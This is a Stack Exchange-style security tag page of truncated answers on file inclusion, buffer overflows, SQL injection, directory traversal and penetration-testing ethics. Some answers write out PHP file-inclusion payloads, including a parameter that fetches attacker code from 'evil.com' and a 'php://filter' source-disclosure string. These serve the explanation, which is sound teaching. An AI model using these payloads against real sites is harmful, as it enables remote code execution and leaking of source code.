Tag Info

Hot answers tagged

17

I don't know about the CFAA specifically, but good general guidelines for educational, or exploratory penetration testing are: Only attack servers that you control, or that you have express permission to attack. For example, some people leave up websites with known vulnerabilities so that others can "practice hacking" on them. These sites usually have a ...


14

That the code "runs as root" is mostly irrelevant. Root or non-root is a distinction that makes sense only locally to a machine, and only if you want to contain some potentially hostile code (e.g. hijacked server code) without bringing down the whole machine. This is the mainframe model from a few decades ago. At that time, it was believed that you could ...


8

Frankly, the relevant words are "custom code running as root and exposed to the Public." To justify the coding effort and delays, you will have to do some quick calculations on the impact of the code being exploited and a malicious actor gaining root access to the server it is running on. If the cost of a breach is more than the cost of the coding effort ...


5

Vulnerable programs need to listen to ports in order to access them over the network directly. But, you could gain access to the system through other means then exploit a vulnerable program that does not access the network (e.g. email malware that triggers a vulnerability in a PDF reader) Knowing how the vulnerable program behaves predictably is the key to ...


5

The easiest way to understand the vulnerability is to look at the diff, dig through the code, and work out how you might exploit it. The vulnerable method's signature looks like this: status_t GraphicBuffer::unflatten( void const*& buffer, size_t& size, int const*& fds, size_t& count) { The important arguments here are void ...


4

First of all, you are not merely disclosing file content. You are executing it. If php is configured to allow URL inclusion the attacker can simply do file=http://evil.com/attackercode.txt and your script will execute the attackers code. Alternatively the attacker can perform a local file include by sending php code in request headers and do ...


3

You might try demonstrating server problems that occurred in well-tested servers and make the claim "If after all of the testing and examination they were insecure, how can we expect to do better?" The first example that pops into my head is the Shellshock bug. When combined with CGI from the Apache Web server, it allowed remote execution. This was not due ...


2

Whom should I save the pc from? If the desktop application is not listening on a port, it means if there is a potential vulnerability, it can only be exploited locally. The attacker might have exploited another vulnerability and now looking for privilege escalation or persistence. Don't always assume a vulnerable desktop application would result in ...


2

All this is just a matter of definition and vocabulary. I have the impression that in your question you are confusing "exploit" and "threat". A vulnerability is a weakness in a system. This weakness may or may not be addressed by some security measures, may or may not be known. A threat can be anything endangering the system by exploiting or triggering the ...


2

There is no danger in this specific part of the form. It seems that the developers have accidentally escaped the opening and closing PHP brackets, causing PHP code to be displayed as is. Now, this specific form instance doesn't allow us to do anything since it's just text being displayed... But it teaches us something very important about this site: user ...


2

The buffer overflow allows an attacker to overwrite stored addresses on the stack that are used by the application when returning from a function. Once the attacker controls this address they can divert the execution of the program by returning to a different part of the application or the libraries it uses. In its simplest form the attacker can write ...


2

The generic answer for "is my code vulnerable to directory traversal?" is to ask yourself if your code: Uses filename strings that you got from an untrusted source to read/write files on disk? "Untrusted sources" could be direct user input, things you read from files (which could have been tampered with), or from 3rd party code that your code interacts ...


1

SQL injection attacks apply when an application uses SQL and carelessly assembles SQL requests with attacker-provided elements. Here, "carelessly" means "without using prepared statements". Prepared statements are the correct way to do SQL with externally provided data; many developers try to think of it in terms of "escaping quoting characters", which is a ...


1

Tor provides you anonymity, but it will not protect you at all from malwares or any other security threats. All recommendation regarding network security must therefore be scrupulously respected in order to ensure your network safety. You do not mention it in your description, but be aware that your setup matches Whonix project, so if you do not want to ...


1

While Linux has a file security model similar to that of early Unix, I think there has been a change in how the computers are used. In the 70's and 80's, Unix was run on large computers hosting many concurrent users. For example, a single computer could be used by all students in a computer science program. With that type of usage, protecting machine ...


1

While I'm unfamiliar with this specific vulnerability, I can answer this question in general. What exactly does this mean: A remote user can send specially crafted data to trigger an integer overflow in GraphicBuffer::unflatten() This does not mean that a remote attacker can somehow make a remote procedure call on GraphicBuffer::unflatten. It means ...


1

Some general information: While it might initially look like a bug this is not considered one. There are certain roles in a WordPress site (like admins and editors) that have the ability to post unfiltered html to the website. This includes the post title which is the one you used here. This is not considered a bug since one can assume that the person that ...


1

Your first example is a demonstration that wordpress properly handles your PHP "injection" attempt: the code is escaped and not executed on the server. Your second example is pretty straightforward: you place a link in a title, you get a link in the title. I'm not sure what you expected but it doesn't violate the basic constrain: someone - anyone - having ...


1

Blacklisting is rarely a good idea. A whitelist would be a better approach. Say you are using includes for language selection. Check whether file equals english, french, or german for example. Call die() if not. Then it does not matter if a user supplies http://example.com/evil.php, php://filter/convert.base64-encode/resource=filename.php or sql.php as your ...


1

Usually, the first step is finding and scanning that which port are open , second one(because here is not for learning hack just talk in general): using some application for finding which program are installed on that computer, then finding the exploits on those application and at the end run a specific script on that, such as buffer over-fellow and get ...


1

Let's suppose a >10mb file opened in notepad causes a buffer overflow and somehow the instruction pointer is set to a location inside that buffer. Somebody could create a maliciously crafted text file which contains shell code at that location inside the text file. You download the text from the internet, put it in notepad and then the malicious program ...


1

It is really important that you provide viable alternative solutions and not just rely on arguments that it is a bad technical solution. For example, could using a VPN setup be a better choice rather than re-developing the code to use a non-privileged user? Can you generalise the solution? For example, would a VPN solution provide increased and more secure ...


1

Almost certainly, but it may not translate to a reliable exploit. As you are controlling ESI, EDI and ECX you are most likely controlling a byte copy operation and I'm assuming the crash is caused because you're trying to read/write to an address like 0x41414141. At worst you can hard code some addresses where ESI points at the start of your shell code, ...



Only top voted, non community-wiki answers of a minimum length are eligible